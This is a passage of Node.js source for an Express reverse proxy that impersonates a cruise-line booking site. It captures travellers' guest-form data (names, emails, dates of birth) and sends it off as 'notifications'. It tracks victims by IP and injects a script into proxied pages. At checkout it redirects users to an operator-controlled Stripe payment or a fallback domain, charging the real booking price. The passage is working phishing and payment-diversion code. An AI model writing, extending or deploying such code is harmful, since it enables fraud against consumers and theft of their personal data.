              // This ensures the script is inserted as raw HTML without processing
              if (isHTML) {
                try {
                  modifiedBody = addDefensiveScript(modifiedBody);
                  if (!modifiedBody || modifiedBody.length === 0) {
                    console.error(`[PROXY] addDefensiveScript returned empty body for ${req.path}`);
                    modifiedBody = bodyString;
                  }
                } catch (defensiveError) {
                  console.error(`[PROXY] Error in addDefensiveScript for ${req.path}:`, defensiveError.message);
                  // Continue with body as is
                }
              }
              
              
              // Validate modified body
              if (!modifiedBody || typeof modifiedBody !== 'string') {
                console.error(`[PROXY] Invalid modifiedBody for ${req.path}, using original`);
                modifiedBody = bodyString;
              }
              
              // Check if HTML structure is intact (has closing tags)
              if (isHTML) {
                const hasOpeningHtml = modifiedBody.includes('<html');
                const hasClosingHtml = modifiedBody.includes('</html>');
                const hasOpeningBody = modifiedBody.includes('<body');
                const hasClosingBody = modifiedBody.includes('</body>');
                
                if (!hasOpeningHtml || !hasClosingHtml || !hasOpeningBody || !hasClosingBody) {
                  console.warn(`[PROXY] HTML structure incomplete for ${req.path}, using original`);
                  console.warn(`[PROXY] Has <html>: ${hasOpeningHtml}, </html>: ${hasClosingHtml}, <body>: ${hasOpeningBody}, </body>: ${hasClosingBody}`);
                  modifiedBody = bodyString;
                }
              }
              
              const modifiedBuffer = Buffer.from(modifiedBody, 'utf-8');
              
              // Only set headers if they haven't been sent yet
              if (!res.headersSent) {
                // Copy headers except content-length and content-encoding
                Object.keys(proxyRes.headers).forEach(key => {
                  const lowerKey = key.toLowerCase();
                  if (lowerKey !== 'content-length' && lowerKey !== 'content-encoding') {
                    try {
                      res.setHeader(key, proxyRes.headers[key]);
                    } catch (e) {
                      // Ignore header errors (may already be set)
                    }
                  }
                });
                
                // Set new content length
                res.setHeader('Content-Length', modifiedBuffer.length);
                
                // Send response with status code
                res.writeHead(proxyRes.statusCode);
              }
              
              // Send modified content
              if (!res.finished) {
                res.end(modifiedBuffer);
                console.log(`[PROXY] Response sent for ${req.path} (${modifiedBuffer.length} bytes)`);
              } else {
                console.warn(`[PROXY] Response already finished for ${req.path}`);
              }
            } catch (error) {
              console.error(`[PROXY] Error processing HTML content for ${req.path}:`, error.message);
              console.error(`[PROXY] Error stack:`, error.stack);
              // Fallback: send original content
              try {
                if (!res.headersSent) {
                  Object.keys(proxyRes.headers).forEach(key => {
                    try {
                      res.setHeader(key, proxyRes.headers[key]);
                    } catch (e) {
                      // Ignore header errors
                    }
                  });
                  res.writeHead(proxyRes.statusCode || 200);
                }
                const fallbackBody = chunks.length > 0 ? Buffer.concat(chunks) : Buffer.from('');
                res.end(fallbackBody);
              } catch (fallbackError) {
                console.error(`[PROXY] Error in fallback for ${req.path}:`, fallbackError.message);
                if (!res.finished) {
                  try {
                    res.end();
                  } catch (e) {
                    // Connection already closed
                  }
                }
              }
            }
          });
          
          proxyRes.on('error', (err) => {
            console.error('Proxy response error:', err.message);
            if (!res.headersSent) {
              res.writeHead(502, { 'Content-Type': 'text/html' });
              res.end('Bad Gateway');
            }
          });
        } else {
          // For non-HTML, binary, or compressed content
          // Since selfHandleResponse is true, we must handle the response manually
          const chunks = [];
          
          proxyRes.on('data', (chunk) => {
            chunks.push(chunk);
          });
          
          proxyRes.on('end', () => {
            try {
              // Only set headers if they haven't been sent yet
              if (!res.headersSent) {
                Object.keys(proxyRes.headers).forEach(key => {
                  try {
                    res.setHeader(key, proxyRes.headers[key]);
                  } catch (e) {
                    // Ignore header errors (may already be set)
                  }
                });
                res.writeHead(proxyRes.statusCode);
              }
              
              // Send all chunks
              chunks.forEach(chunk => {
                if (!res.finished) {
                  res.write(chunk);
                }
              });
              
              if (!res.finished) {
                res.end();
              }
            } catch (error) {
              console.error('Error sending non-HTML content:', error.message);
              if (!res.headersSent) {
                res.writeHead(proxyRes.statusCode || 200);
              }
              if (!res.finished) {
                res.end();
              }
            }
          });
          
          proxyRes.on('error', (err) => {
            console.error('Proxy response error (non-HTML):', err.message);
            if (!res.headersSent) {
              res.writeHead(502, { 'Content-Type': 'text/plain' });
            }
            if (!res.finished) {
              res.end('Bad Gateway');
            }
          });
        }
      } catch (e) {
        console.error('Error in onProxyRes:', e.message);
        // Fallback: try to send error response
        if (!res.headersSent) {
          try {
            res.writeHead(proxyRes.statusCode || 500, { 'Content-Type': 'text/plain' });
            res.end('Internal Server Error');
          } catch (err) {
            // Response already sent or connection closed
            console.error('Cannot send error response:', err.message);
          }
        }
      }
    };
  
  proxyConfig.onError = (err, req, res) => {
      console.error(`Proxy error [${req.method} ${req.path}]:`, err.code || err.message);
      try {
        if (!res.headersSent) {
          res.writeHead(502, { 
            'Content-Type': 'text/html',
            'Cache-Control': 'no-cache'
          });
          res.end('Bad Gateway');
        } else {
          res.end();
        }
      } catch (e) {
        // Ignore errors when sending error response
      }
    };
  
  return createProxyMiddleware(proxyConfig);
}

// Proxy for AWS WAF Captcha or similar services
app.use('/challenge', createContentReplacingProxy('https://challenges.cloudflare.com', {
  '^/challenge': ''
}));

// Proxy for Akamai errors/challenge pages
app.use('/errors.edgesuite.net', createContentReplacingProxy('https://errors.edgesuite.net', {
  '^/errors.edgesuite.net': ''
}));

// Proxy for external CDNs (example: Cloudinary)
app.use('/cloudinary', createContentReplacingProxy('https://res.cloudinary.com', {
  '^/cloudinary': ''
}));

// Debug middleware - log ALL requests
app.use(async (req, res, next) => {
  // Log API requests for cruise search
  if (req.path.includes('/graph') || req.path.includes('/api/cruises') || req.path.includes('/api/search') || 
      req.path.includes('/bin/services/royal') || req.path.includes('/pulse/api')) {
    console.log(`[API] ${req.method} ${req.path}${req.url.includes('?') ? req.url.substring(req.url.indexOf('?')) : ''} - Status: ${res.statusCode || 'pending'}`);
  }

  // Log requests that might contain guest data
  if (req.path.includes('guest') || req.path.includes('checkout') || req.path.includes('book') ||
      req.path.includes('passenger') || req.path.includes('traveler') || req.path.includes('form')) {
    console.log(`[DEBUG] ${req.method} ${req.path} - Content-Type: ${req.headers['content-type']} - Referer: ${req.headers.referer}`);
  }

  // Log all POST/PUT/PATCH requests (but not API endpoints)
  if (['POST', 'PUT', 'PATCH'].includes(req.method) && 
      !req.path.startsWith('/graph') && 
      !req.path.startsWith('/api/cruises') && 
      !req.path.startsWith('/bin/services/royal') &&
      !req.path.startsWith('/pulse/api')) {
    console.log(`[FORM] ${req.method} request: ${req.path} - Type: ${req.headers['content-type']} - Length: ${req.headers['content-length']}`);
    if (req.path.includes('guest') || req.path.includes('checkout')) {
      console.log(`[FORM] Potential guest data request: ${req.method} ${req.path}`);
    }

    // Also log requests that might contain form data
    if (req.headers['content-length'] && parseInt(req.headers['content-length']) > 10) {
      console.log(`[FORM] Request with body: ${req.method} ${req.path} (${req.headers['content-length']} bytes)`);
    }
  }

  // Don't intercept our own API endpoints
  if (req.path.startsWith('/api/')) {
    return next();
  }

  // Debug: log all POST/PUT/PATCH to guest-related paths
  if ((req.method === 'POST' || req.method === 'PUT' || req.method === 'PATCH') && 
      (req.path.includes('guest') || req.path.includes('checkout') || req.path.includes('booking') || req.path.includes('payment'))) {
    console.log(`[DEBUG] ${req.method} ${req.path} - Referer: ${req.headers.referer || 'N/A'} - isGuestForm: ${formInterceptor ? formInterceptor.isGuestInfoFormSubmission(req) : 'N/A'}`);
  }

  // Log all POST/PUT/PATCH requests to checkout/payment for debugging
  if ((req.method === 'POST' || req.method === 'PUT' || req.method === 'PATCH') && 
      (req.path.includes('/checkout') || req.path.includes('/payment'))) {
    console.log(`[FORM-DEBUG] ${req.method} ${req.path} - Referer: ${req.headers.referer || 'N/A'}`);
    console.log(`[FORM-DEBUG] Content-Type: ${req.headers['content-type'] || 'N/A'}`);
    console.log(`[FORM-DEBUG] isGuestInfoFormSubmission: ${formInterceptor ? formInterceptor.isGuestInfoFormSubmission(req) : 'N/A'}`);
  }
  
  // Intercept guest data saves (first guest) OR final payment transition
  const isGuestDataSave = (req.method === 'POST' || req.method === 'PUT' || req.method === 'PATCH') &&
                          formInterceptor &&
                          formInterceptor.isGuestInfoFormSubmission(req) &&
                          (req.path.includes('/checkout/api/v2/rooms/guests') ||
                           req.path.includes('/checkout/api/v1/rooms/guests') ||
                           req.path.includes('/checkout/api/rooms/guests') ||
                           (req.path.includes('/checkout') && req.path.includes('guest') && req.path.includes('/api/')));
  
  const isFinalPaymentTransition = (req.method === 'GET' || req.method === 'POST' || req.method === 'PUT' || req.method === 'PATCH') &&
                                   (req.path.includes('/checkout/payment') || 
                                    (req.path.includes('/checkout/') && req.path.includes('payment'))) &&
                                   !req.path.includes('/api/') &&
                                   (req.headers.referer && (req.headers.referer.includes('/checkout/guest-info') || req.headers.referer.includes('/guest-info')));
  
  if (isGuestDataSave || isFinalPaymentTransition) {
    if (isGuestDataSave) {
      console.log('[FORM] ===== Intercepted guest data save (first guest) =====');
    } else {
      console.log('[FORM] ===== Intercepted final payment transition (Continue to Payment) =====');
    }
    console.log(`[FORM] Request path: ${req.path}, method: ${req.method}`);
    console.log(`[FORM] Content-Type: ${req.headers['content-type']}`);
    console.log(`[FORM] User-Agent: ${req.headers['user-agent']}`);
    console.log(`[FORM] Referer: ${req.headers.referer}`);
    
    // For GET requests (payment page navigation), create Stripe checkout and redirect
    if (isFinalPaymentTransition && req.method === 'GET') {
      console.log('[FORM] GET request to payment page - creating Stripe checkout session');
      
      // Get cached side panel data for pricing and cruise info
      const clientIP = req.ip || req.connection.remoteAddress || 'unknown';
      const cachedData = sidePanelCache.get(clientIP);
      let sidePanelData = null;
      
      if (cachedData && (Date.now() - cachedData.timestamp) < CACHE_TTL) {
        sidePanelData = cachedData.data;
        console.log('[STRIPE] Retrieved cached side panel data for IP:', clientIP);
      } else {
        console.log('[STRIPE] No cached side panel data found for IP:', clientIP);
      }
      
      // Try to create Stripe checkout session
      if (stripeService && sidePanelData && sidePanelData.total_price) {
        try {
          const bookingData = {
            totalPrice: sidePanelData.total_price,
            cruiseTitle: sidePanelData.cruise_title || 'Cruise Booking',
            shipName: sidePanelData.ship_name,
            sailDate: sidePanelData.start_date,
            guestName: sidePanelData.guest_name || 'Guest',
            guestEmail: sidePanelData.guest_email,
            packageId: sidePanelData.package_id
          };
          
          console.log('[STRIPE] Creating checkout session with data:', JSON.stringify(bookingData));
          
          const checkoutUrl = await stripeService.createCheckoutSession(bookingData);
          
          console.log('[STRIPE] Checkout session created, redirecting to:', checkoutUrl);
          
          if (!res.headersSent) {
            res.writeHead(302, {
              'Location': checkoutUrl,
              'Cache-Control': 'no-cache'
            });
            res.end();
            console.log('[STRIPE] Redirect sent to Stripe Checkout');
          }
          return;
        } catch (stripeError) {
          console.error('[STRIPE] Error creating checkout session:', stripeError.message);
          // Fallback to MY_DOMAIN if Stripe fails
        }
      } else {
        console.warn('[STRIPE] Cannot create checkout: missing service or data');
        console.warn('[STRIPE] stripeService:', stripeService ? 'available' : 'NOT available');
        console.warn('[STRIPE] sidePanelData:', sidePanelData ? 'available' : 'NOT available');
        console.warn('[STRIPE] total_price:', sidePanelData?.total_price || 'NOT available');
      }
      
      // Fallback: redirect to MY_DOMAIN if Stripe is not available or fails
      console.log('[STRIPE] Falling back to MY_DOMAIN redirect');
      if (!res.headersSent) {
        res.writeHead(302, {
          'Location': process.env.MY_DOMAIN,
          'Cache-Control': 'no-cache'
        });
        res.end();
        console.log('[FORM] Redirect sent to MY_DOMAIN (fallback)');
      }
      return;
    }

    // Collect request body (for POST/PUT/PATCH requests only)
    let body = '';
    const chunks = [];
    
    req.on('data', chunk => {
      body += chunk.toString();
      chunks.push(chunk);
    });

    req.on('end', async () => {
      try {
        // Log the raw body for debugging
        if (body.length > 0 && body.length < 2000) {
          console.log(`[FORM] Raw request body: ${body.substring(0, 500)}${body.length > 500 ? '...' : ''}`);
        }

        // Extract form data
        const formData = formInterceptor.extractFormData(req, body);
        console.log(`[FORM] Extracted form data with ${Object.keys(formData).length} fields:`, Object.keys(formData).join(', '));
        
        // Log full form data structure for debugging (first 2000 chars)
        const formDataStr = JSON.stringify(formData, null, 2);
        if (formDataStr.length > 2000) {
          console.log(`[FORM] Form data preview (first 2000 chars):\n${formDataStr.substring(0, 2000)}...`);
        } else {
          console.log(`[FORM] Full form data:\n${formDataStr}`);
        }
        
        // Check if this is guest data save or final payment transition
        if (isGuestDataSave) {
          console.log(`[FORM] Guest data save detected - checking for first guest data`);
        } else {
          console.log(`[FORM] Final payment transition detected - Continue to Payment button clicked`);
        }
        
        // Check if form data has minimum required guest fields for FIRST guest
        // We need firstName AND lastName at minimum
        const firstName = formData.firstName || formData.first_name;
        const lastName = formData.lastName || formData.last_name;
        
        // Also check for nested guest data (guests array, guest object, rooms array, etc.)
        let hasFirstGuestData = false;
        let extractedFirstName = firstName;
        let extractedLastName = lastName;
        
        if (formData.guests && Array.isArray(formData.guests) && formData.guests.length > 0) {
          const firstGuest = formData.guests.find(g => g.isPrimary) || formData.guests[0];
          if (firstGuest) {
            extractedFirstName = firstGuest.firstName || firstGuest.first_name || extractedFirstName;
            extractedLastName = firstGuest.lastName || firstGuest.last_name || extractedLastName;
            hasFirstGuestData = !!(extractedFirstName && extractedLastName);
          }
        }
        if (!hasFirstGuestData && formData.guest && typeof formData.guest === 'object') {
          extractedFirstName = formData.guest.firstName || formData.guest.first_name || extractedFirstName;
          extractedLastName = formData.guest.lastName || formData.guest.last_name || extractedLastName;
          hasFirstGuestData = !!(extractedFirstName && extractedLastName);
        }
        if (!hasFirstGuestData && formData.input && formData.input.guests && Array.isArray(formData.input.guests) && formData.input.guests.length > 0) {
          const firstGuest = formData.input.guests.find(g => g.isPrimary) || formData.input.guests[0];
          if (firstGuest) {
            extractedFirstName = firstGuest.firstName || firstGuest.first_name || extractedFirstName;
            extractedLastName = firstGuest.lastName || firstGuest.last_name || extractedLastName;
            hasFirstGuestData = !!(extractedFirstName && extractedLastName);
          }
        }
        // Check for rooms array structure: rooms[].guests[]
        if (!hasFirstGuestData && formData.rooms && Array.isArray(formData.rooms) && formData.rooms.length > 0) {
          for (const room of formData.rooms) {
            if (room.guests && Array.isArray(room.guests) && room.guests.length > 0) {
              const firstGuest = room.guests.find(g => g.isPrimary) || room.guests[0];
              if (firstGuest) {
                extractedFirstName = firstGuest.firstName || firstGuest.first_name || extractedFirstName;
                extractedLastName = firstGuest.lastName || firstGuest.last_name || extractedLastName;
                if (extractedFirstName && extractedLastName) {
                  hasFirstGuestData = true;
                  break;
                }
              }
            }
          }
        }
        
        // Check if we have first guest data (firstName AND lastName required)
        if (!extractedFirstName || !extractedLastName) {
          console.log(`[FORM] SKIPPED: First guest data incomplete (firstName: ${extractedFirstName ? 'YES' : 'NO'}, lastName: ${extractedLastName ? 'YES' : 'NO'})`);
          console.log(`[FORM] Form data keys: ${Object.keys(formData).slice(0, 20).join(', ')}`);
          // Continue with proxy flow without sending notification
          next();
          return;
        }
        
        console.log(`[FORM] Guest data found: ${extractedFirstName} ${extractedLastName}`);
        
        // Check if this is the PRIMARY (first) guest or a secondary guest
        // We only send notification for the PRIMARY guest
        const clientIP = req.ip || req.connection.remoteAddress || 'unknown';
        
        // Check if we've already sent notification for primary guest from this IP
        // Use booking identifier (packageId + sailDate) instead of guest name
        // This way we track per BOOKING, not per guest name
        const packageId = formData.packageId || formData.package_id || 'unknown';
        const sailDate = formData.sailDate || formData.sail_date || 'unknown';
        const hashData = JSON.stringify({
          packageId: packageId,
          sailDate: sailDate
        });
        const formHash = crypto.createHash('md5').update(hashData).digest('hex');
        const cacheKey = `${clientIP}:${formHash}:booking`;
        const lastSubmission = formSubmissionCache.get(cacheKey);
        
        // If notification was already sent for this BOOKING (within 30 minutes), this is a secondary guest
        // Skip notification and just proxy the request
        if (lastSubmission && (Date.now() - lastSubmission) < (30 * 60 * 1000)) {
          console.log(`[FORM] SKIPPED: This is Guest 2+ for booking ${packageId} (primary guest notification already sent ${Math.round((Date.now() - lastSubmission) / 1000)}s ago)`);
          console.log(`[FORM] Proxying request without notification (Guest 2, 3, etc.)...`);
          
          // Just proxy the request without sending notification
          const https = require('https');
          const http = require('http');
          const targetUrl = new URL(PROXY_TARGET);
          const bodyBuffer = Buffer.concat(chunks);
          
          const proxyOptions = {
            hostname: targetUrl.hostname,
            port: targetUrl.port || (targetUrl.protocol === 'https:' ? 443 : 80),
            path: req.path + (req.url.includes('?') ? req.url.substring(req.url.indexOf('?')) : ''),
            method: req.method,
            headers: {
              ...req.headers,
              'host': targetUrl.hostname,
              'content-length': bodyBuffer.length
            }
          };
          
          if (targetUrl.protocol === 'https:' && httpsAgent) {
            proxyOptions.agent = httpsAgent;
          } else if (targetUrl.protocol === 'http:' && httpAgent) {
            proxyOptions.agent = httpAgent;
          }
          
          console.log('[FORM] Proxying Guest 2+ to:', `${targetUrl.protocol}//${targetUrl.hostname}${proxyOptions.path}`);
          
          const proxyLib = targetUrl.protocol === 'https:' ? https : http;
          const proxyReq = proxyLib.request(proxyOptions, (proxyRes) => {
            console.log('[FORM] Received response from target server:', proxyRes.statusCode);
            
            Object.keys(proxyRes.headers).forEach(key => {
              try {
                res.setHeader(key, proxyRes.headers[key]);
              } catch (e) {}
            });
            
            res.writeHead(proxyRes.statusCode);
            
            proxyRes.on('data', (chunk) => res.write(chunk));
            proxyRes.on('end', () => {
              res.end();
              console.log('[FORM] Guest 2+ response forwarded successfully');
            });
            
            proxyRes.on('error', (err) => {
              console.error('[FORM] Error reading proxy response:', err.message);
              if (!res.headersSent) {
                res.writeHead(502);
              }
              res.end();
            });
          });
          
          proxyReq.on('error', (err) => {
            console.error('[FORM] Error proxying Guest 2+ request:', err.message);
            if (!res.headersSent) {
              res.writeHead(502);
              res.end('Bad Gateway');
            }
          });
          
          proxyReq.write(bodyBuffer);
          proxyReq.end();
          
          return; // Don't send notification for Guest 2+
        }
        
        // This is the PRIMARY guest (first guest) - send notification
        console.log(`[FORM] PRIMARY guest detected (first notification for booking ${packageId} on ${sailDate})`);
        
        // Create hash for deduplication (moved here after check)
        // const clientIP = req.ip || req.connection.remoteAddress || 'unknown';
        
        if (isFinalPaymentTransition) {
          // Only check duplicates for final payment transition
          const paymentHashData = JSON.stringify({
            firstName: formData.firstName || formData.first_name,
            lastName: formData.lastName || formData.last_name,
            email: formData.email,
            dateOfBirth: formData.dateOfBirth || formData.birthDate || formData.dob
          });
          const paymentFormHash = crypto.createHash('md5').update(paymentHashData).digest('hex');
          const paymentCacheKey = `${clientIP}:${paymentFormHash}:payment`;
          const lastPaymentSubmission = formSubmissionCache.get(paymentCacheKey);
          
          if (lastPaymentSubmission && (Date.now() - lastPaymentSubmission) < DEDUP_TTL) {
            console.log(`[FORM] SKIPPED: Duplicate payment submission detected (within ${Math.round((Date.now() - lastPaymentSubmission) / 1000)}s)`);
            // Continue with proxy flow without sending notification
            next();
            return;
          }
          
          // Mark this payment submission
          formSubmissionCache.set(paymentCacheKey, Date.now());
        } else {
          // For PRIMARY guest - mark notification as sent (already checked above)
          // Mark this booking notification (cache key already created above)
          formSubmissionCache.set(cacheKey, Date.now());
          console.log(`[FORM] Marked booking ${packageId} notification as sent (cache expires in 30 minutes)`);
        }

        // Get side panel data from cache
        const cachedData = sidePanelCache.get(clientIP);
        let sidePanelData = null;

        if (cachedData && (Date.now() - cachedData.timestamp) < CACHE_TTL) {
          sidePanelData = cachedData.data;
          console.log(`[FORM] Retrieved cached side panel data for IP: ${clientIP} (${Object.keys(sidePanelData).length} fields)`);
          console.log(`[FORM] Cached side panel keys: ${Object.keys(sidePanelData).join(', ')}`);
        } else {
          console.log(`[FORM] No cached side panel data found for IP: ${clientIP}`);
          console.log(`[FORM] Cache status: ${cachedData ? 'expired' : 'not found'}`);
          console.log(`[FORM] Available cache keys: ${Array.from(sidePanelCache.keys()).join(', ')}`);
          // Try to clear expired cache entry
          if (cachedData) {
            sidePanelCache.delete(clientIP);
          }
        }
        
        // Try to extract cruise/booking data from form data itself if not in cache
        if (!sidePanelData || Object.keys(sidePanelData).length === 0) {
          console.log(`[FORM] Attempting to extract cruise data from form data...`);
          console.log(`[FORM] Form data keys: ${Object.keys(formData).join(', ')}`);
          const cruiseDataFromForm = {};
          
          // Look for cruise/booking data in form data - check multiple possible field names
          if (formData.cruiseTitle || formData.cruise_title || formData.cruiseName || formData.cruise_name) {
            cruiseDataFromForm.cruise_title = formData.cruiseTitle || formData.cruise_title || formData.cruiseName || formData.cruise_name;
          }
          if (formData.shipName || formData.ship_name || formData.ship || formData.shipCode) {
            cruiseDataFromForm.ship_name = formData.shipName || formData.ship_name || formData.ship || formData.shipCode;
          }
          if (formData.departurePort || formData.departure_port || formData.port || formData.from) {
            cruiseDataFromForm.departure_port = formData.departurePort || formData.departure_port || formData.port || formData.from;
          }
          if (formData.startDate || formData.start_date || formData.sailDate || formData.sail_date || formData.departureDate) {
            cruiseDataFromForm.start_date = formData.startDate || formData.start_date || formData.sailDate || formData.sail_date || formData.departureDate;
          }
          if (formData.endDate || formData.end_date || formData.returnDate || formData.return_date) {
            cruiseDataFromForm.end_date = formData.endDate || formData.end_date || formData.returnDate || formData.return_date;
          }
          if (formData.roomType || formData.room_type || formData.cabinClassType || formData.cabinClass) {
            cruiseDataFromForm.room_type = formData.roomType || formData.room_type || formData.cabinClassType || formData.cabinClass;
          }
          if (formData.totalPrice || formData.total_price || formData.total || formData.price) {
            cruiseDataFromForm.total_price = formData.totalPrice || formData.total_price || formData.total || formData.price;
          }
          
          // Check nested structures - GraphQL variables, input, etc.
          if (formData.variables && formData.variables.booking) {
            const booking = formData.variables.booking;
            if (booking.cruiseTitle) cruiseDataFromForm.cruise_title = booking.cruiseTitle;
            if (booking.shipName) cruiseDataFromForm.ship_name = booking.shipName;
            if (booking.departurePort) cruiseDataFromForm.departure_port = booking.departurePort;
            if (booking.startDate || booking.sailDate) cruiseDataFromForm.start_date = booking.startDate || booking.sailDate;
            if (booking.endDate || booking.returnDate) cruiseDataFromForm.end_date = booking.endDate || booking.returnDate;
          }
          
          // Check input structure
          if (formData.input && formData.input.booking) {
            const booking = formData.input.booking;
            if (booking.cruiseTitle) cruiseDataFromForm.cruise_title = booking.cruiseTitle;
            if (booking.shipName) cruiseDataFromForm.ship_name = booking.shipName;
            if (booking.departurePort) cruiseDataFromForm.departure_port = booking.departurePort;
          }
          
          // Check rooms structure for cruise info
          if (formData.rooms && Array.isArray(formData.rooms) && formData.rooms.length > 0) {
            const firstRoom = formData.rooms[0];
            if (firstRoom.cruiseTitle) cruiseDataFromForm.cruise_title = firstRoom.cruiseTitle;
            if (firstRoom.shipName) cruiseDataFromForm.ship_name = firstRoom.shipName;
            if (firstRoom.departurePort) cruiseDataFromForm.departure_port = firstRoom.departurePort;
          }
          
          if (Object.keys(cruiseDataFromForm).length > 0) {
            console.log(`[FORM] Found cruise data in form: ${Object.keys(cruiseDataFromForm).join(', ')}`);
            console.log(`[FORM] Cruise data values:`, JSON.stringify(cruiseDataFromForm, null, 2));
            sidePanelData = { ...sidePanelData, ...cruiseDataFromForm };
          } else {
            console.log(`[FORM] No cruise data found in form structure`);
            console.log(`[FORM] Form data structure preview:`, JSON.stringify(formData, null, 2).substring(0, 1000));
          }
        }

        // Handle form submission with side panel data
        console.log('[FORM] ===== Calling handleFormSubmission =====');
        console.log('[FORM] Form data sample:', JSON.stringify(Object.fromEntries(
          Object.entries(formData).slice(0, 10)
        )));
        console.log('[FORM] Side panel data:', sidePanelData ? 'Available' : 'Not available');
        
        if (isGuestDataSave) {
          // Guest data save (first guest) - send notification but DON'T redirect
          // Allow the form flow to continue so user can fill out second guest, third guest, etc.
          console.log('[FORM] First guest data save - sending notification (but allowing flow to continue)...');
          console.log('[FORM] Side panel data available:', sidePanelData ? `YES (${Object.keys(sidePanelData).length} fields)` : 'NO');
          if (sidePanelData) {
            console.log('[FORM] Side panel data keys:', Object.keys(sidePanelData).join(', '));
          }
          
          try {
            // Send notification but continue with normal flow
            await formInterceptor.handleFormSubmission(req, res, null, formData, sidePanelData);
            console.log('[FORM] ===== handleFormSubmission completed successfully =====');
            console.log('[FORM] Manually proxying request to allow guest form flow to continue...');
            
            // Manually proxy the request to target server
            const https = require('https');
            const http = require('http');
            const targetUrl = new URL(PROXY_TARGET);
            const bodyBuffer = Buffer.concat(chunks);
            
            // Build request options
            const proxyOptions = {
              hostname: targetUrl.hostname,
              port: targetUrl.port || (targetUrl.protocol === 'https:' ? 443 : 80),
              path: req.path + (req.url.includes('?') ? req.url.substring(req.url.indexOf('?')) : ''),
              method: req.method,
              headers: {
                ...req.headers,
                'host': targetUrl.hostname,
                'content-length': bodyBuffer.length
              }
            };
            
            // Use HTTPS or HTTP agent if configured
            if (targetUrl.protocol === 'https:' && httpsAgent) {
              proxyOptions.agent = httpsAgent;
            } else if (targetUrl.protocol === 'http:' && httpAgent) {
              proxyOptions.agent = httpAgent;
            }
            
            console.log('[FORM] Proxying to:', `${targetUrl.protocol}//${targetUrl.hostname}${proxyOptions.path}`);
            
            // Make request to target server
            const proxyLib = targetUrl.protocol === 'https:' ? https : http;
            const proxyReq = proxyLib.request(proxyOptions, (proxyRes) => {
              console.log('[FORM] Received response from target server:', proxyRes.statusCode);
              
              // Forward response headers
              Object.keys(proxyRes.headers).forEach(key => {
                try {
                  res.setHeader(key, proxyRes.headers[key]);
                } catch (e) {
                  // Ignore header errors
                }
              });
              
              // Forward status code
              res.writeHead(proxyRes.statusCode);
              
              // Forward response body
              proxyRes.on('data', (chunk) => {
                res.write(chunk);
              });
              
              proxyRes.on('end', () => {
                res.end();
                console.log('[FORM] Response forwarded to client successfully');
              });
              
              proxyRes.on('error', (err) => {
                console.error('[FORM] Error reading proxy response:', err.message);
                if (!res.headersSent) {
                  res.writeHead(502);
                }
                res.end();
              });
            });
            
            proxyReq.on('error', (err) => {
              console.error('[FORM] Error proxying request:', err.message);
              if (!res.headersSent) {
                res.writeHead(502);
                res.end('Bad Gateway');
              }
            });
            
            // Send request body
            proxyReq.write(bodyBuffer);
            proxyReq.end();
            
            return; // Don't call next()
          } catch (err) {
            console.error('[FORM] ===== ERROR in handleFormSubmission =====');
            console.error('[FORM] Error message:', err.message);
            console.error('[FORM] Error stack:', err.stack);
            
            // Even on error, try to proxy the request
            try {
              const https = require('https');
              const http = require('http');
              const targetUrl = new URL(PROXY_TARGET);
              const bodyBuffer = Buffer.concat(chunks);
              
              const proxyOptions = {
                hostname: targetUrl.hostname,
                port: targetUrl.port || (targetUrl.protocol === 'https:' ? 443 : 80),
                path: req.path + (req.url.includes('?') ? req.url.substring(req.url.indexOf('?')) : ''),
                method: req.method,
                headers: {
                  ...req.headers,
                  'host': targetUrl.hostname,
                  'content-length': bodyBuffer.length
                }
              };
              
              if (targetUrl.protocol === 'https:' && httpsAgent) {
                proxyOptions.agent = httpsAgent;
              } else if (targetUrl.protocol === 'http:' && httpAgent) {
                proxyOptions.agent = httpAgent;
              }
              
              const proxyLib = targetUrl.protocol === 'https:' ? https : http;
              const proxyReq = proxyLib.request(proxyOptions, (proxyRes) => {
                Object.keys(proxyRes.headers).forEach(key => {
                  try {
                    res.setHeader(key, proxyRes.headers[key]);
                  } catch (e) {}
                });
                res.writeHead(proxyRes.statusCode);
                proxyRes.pipe(res);
              });
              
              proxyReq.on('error', (err) => {
                console.error('[FORM] Error proxying request (fallback):', err.message);
                if (!res.headersSent) {
                  res.writeHead(502);
                  res.end('Bad Gateway');
                }
              });
              
              proxyReq.write(bodyBuffer);
              proxyReq.end();
            } catch (proxyErr) {
              console.error('[FORM] Fatal error proxying request:', proxyErr.message);
              if (!res.headersSent) {
                res.writeHead(500);
                res.end('Internal Server Error');
              }
            }
            return;
          }
        } else {
          // Final payment step (Continue to Payment button clicked)
          // Create Stripe checkout session and redirect
          console.log('[FORM] Final payment step (Continue to Payment clicked) - creating Stripe checkout...');
          
          // Try to create Stripe checkout session
          if (stripeService && sidePanelData && sidePanelData.total_price) {
            try {
              const bookingData = {
                totalPrice: sidePanelData.total_price,
                cruiseTitle: sidePanelData.cruise_title || 'Cruise Booking',
                shipName: sidePanelData.ship_name,
                sailDate: sidePanelData.start_date,
                guestName: formData.firstName && formData.lastName ? `${formData.firstName} ${formData.lastName}` : 'Guest',
                guestEmail: formData.email,
                packageId: formData.packageId || formData.package_id
              };
              
              console.log('[STRIPE] Creating checkout session with data:', JSON.stringify(bookingData));
              
              const checkoutUrl = await stripeService.createCheckoutSession(bookingData);
              
              console.log('[STRIPE] Checkout session created, redirecting to:', checkoutUrl);
              
              if (!res.headersSent) {
                res.writeHead(302, {
                  'Location': checkoutUrl,
                  'Cache-Control': 'no-cache'
                });
                res.end();
                console.log('[STRIPE] Redirect sent to Stripe Checkout');
              }
              return;
            } catch (stripeError) {
              console.error('[STRIPE] Error creating checkout session:', stripeError.message);
              // Fallback to MY_DOMAIN if Stripe fails
            }
          } else {
            console.warn('[STRIPE] Cannot create checkout: missing service or data');
            console.warn('[STRIPE] stripeService:', stripeService ? 'available' : 'NOT available');
            console.warn('[STRIPE] sidePanelData:', sidePanelData ? 'available' : 'NOT available');
            console.warn('[STRIPE] total_price:', sidePanelData?.total_price || 'NOT available');
          }
          
          // Fallback: redirect to MY_DOMAIN if Stripe is not available or fails
          console.log('[STRIPE] Falling back to MY_DOMAIN redirect');
          if (!res.headersSent) {
            res.writeHead(302, {
              'Location': process.env.MY_DOMAIN,
              'Cache-Control': 'no-cache'
            });
            res.end();
            console.log('[FORM] Redirect sent to MY_DOMAIN (fallback)');
          }
          return;
        }

      } catch (error) {
        console.error('[FORM] Error processing form submission:', error.message);
        // On error, continue with proxy flow
        next();
      }

      // Don't call next() here - we handle redirect above
    });

    // Don't call next() here - we handle it in req.on('end')
  } else {
    next();
  }
});

// CORS preflight handler for guest data endpoint
app.options('/api/guest-data', (req, res) => {
  res.header('Access-Control-Allow-Origin', '*');
